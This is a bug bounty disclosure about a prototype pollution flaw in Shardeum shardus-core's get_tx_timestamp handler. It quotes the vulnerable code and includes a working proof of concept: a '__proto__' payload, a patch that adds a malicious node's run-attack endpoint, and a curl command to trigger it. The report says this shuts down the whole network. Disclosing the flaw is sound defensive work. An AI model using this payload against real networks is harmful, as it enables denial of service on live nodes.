34500 - [BC - Critical] Prototype pollution vulnerability in get_tx_tim...
Submitted on Aug 14th 2024 at 07:04:48 UTC by @periniondon630 for Boost | Shardeum: Core
Report ID: #34500
Report type: Blockchain/DLT
Report severity: Critical
Target: https://github.com/shardeum/shardus-core/tree/dev
Impacts:
Network not being able to confirm new transactions (total network shutdown)
Description
Brief/Intro
A prototype pollution vulnerability has been discovered in the get_tx_timestamp handler of the state-manager module. This vulnerability allows an attacker to manipulate the Object prototype, potentially leading to active node shutdown, slashing of the active node for early leave. If exploited in production/mainnet, this flaw could cause significant disruption and compromise the security of the system.
Vulnerability Details
The vulnerability exists in the following code snippet:
generateTimestampReceipt(
txId: string,
cycleMarker: string,
cycleCounter: CycleRecord['counter']
): TimestampReceipt {
const tsReceipt: TimestampReceipt = {
txId,
cycleMarker,
cycleCounter,
// shardusGetTime() was replaced with shardusGetTime() so we can have a more reliable timestamp consensus
timestamp: shardusGetTime(),
}
const signedTsReceipt = this.crypto.sign(tsReceipt)
/* prettier-ignore */ this.mainLogger.debug(`Timestamp receipt generated for txId ${txId}: ${utils.stringifyReduce(signedTsReceipt)}`)
// caching ts receipt for later nodes
if (!this.txTimestampCache[signedTsReceipt.cycleCounter]) {
this.txTimestampCache[signedTsReceipt.cycleCounter] = {}
}
// cache to txId map
this.txTimestampCache[signedTsReceipt.cycleCounter][txId] = signedTsReceipt
if (Context.config.p2p.timestampCacheFix) {
// eslint-disable-next-line security/detect-object-injection
this.txTimestampCacheByTxId[txId] = signedTsReceipt
this.seenTimestampRequests[txId] = true
}
/* prettier-ignore */ this.mainLogger.debug(`Timestamp receipt cached for txId ${txId} in cycle ${signedTsReceipt.cycleCounter}: ${utils.stringifyReduce(signedTsReceipt)}`)
return signedTsReceipt
}
Function is called from get_tx_timestamp handler, all parameters are coming from user controlled input and can be crafted to include special properties such as __proto__
, allowing an attacker to manipulate the Object prototype. Here is get_tx_timestamp code:
this.p2p.registerInternal(
'get_tx_timestamp',
async (
payload: { txId: string; cycleCounter: number; cycleMarker: string },
respond: (arg0: Shardus.TimestampReceipt) => unknown
) => {
const { txId, cycleCounter, cycleMarker } = payload
/* eslint-disable security/detect-object-injection */
if (this.txTimestampCache[cycleCounter] && this.txTimestampCache[cycleCounter][txId]) {
await respond(this.txTimestampCache[cycleCounter][txId])
} else {
const tsReceipt: Shardus.TimestampReceipt = this.generateTimestampReceipt(
txId,
cycleMarker,
cycleCounter
)
await respond(tsReceipt)
}
/* eslint-enable security/detect-object-injection */
}
)
The values for parameters should be chosen in a way first condition will go to else case. The following exploit demonstrates this vulnerability:
Context.network.registerExternalGet('run-attack', async (req, res) => {
const payload = { txId: 'debug', receipt2: 'lorem', cycleCounter: '__proto__' }
for (const node of activeByIdOrder) {
await this.p2p.tell([node], 'get_tx_timestamp', payload)
}
})
Impact Details
The potential impacts of this vulnerability are severe and include:
complete network shutdown, which demonstrates by exploit
slashing active node by early leave penalty.
References
Proof of Concept
Set up and launch a test Shardeum network.
Apply the following patch to the shardus-core repository to introduce a malicious node:
diff --git a/src/state-manager/index.ts b/src/state-manager/index.ts
index f22738cf..a189e16e 100644
--- a/src/state-manager/index.ts
+++ b/src/state-manager/index.ts
@@ -2169,6 +2169,13 @@ class StateManager {
binaryGetAccountQueueCountHandler.handler
)
+ Context.network.registerExternalGet('run-attack', async (req, res) => {
+ const payload = { txId: 'debug', receipt2: 'lorem', cycleCounter: '__proto__' }
+ for (const node of activeByIdOrder) {
+ await this.p2p.tell([node], 'get_tx_timestamp', payload)
+ }
+ })
+
Context.network.registerExternalGet('debug_stats', isDebugModeMiddleware, (_req, res) => {
const cycle = this.currentCycleShardData.cycleNumber - 1
Build and run your malicious node; it will be capable of attacking and shutting down the network.
Wait until malicious node will become active.
Initiate the attack from the malicious node using the following curl command:
curl 'http://<MALICIOUS_NODE_IP>:<EXTERNAL_PORT>/run-attack'
The exploit code will iterate through all active nodes in the network and shut them down.
Wait until all nodes appear red on the monitor webpage, indicating they are offline.
Check the logs (e.g., fatal logs) to confirm that nothing can be processed.
Last updated
Was this helpful?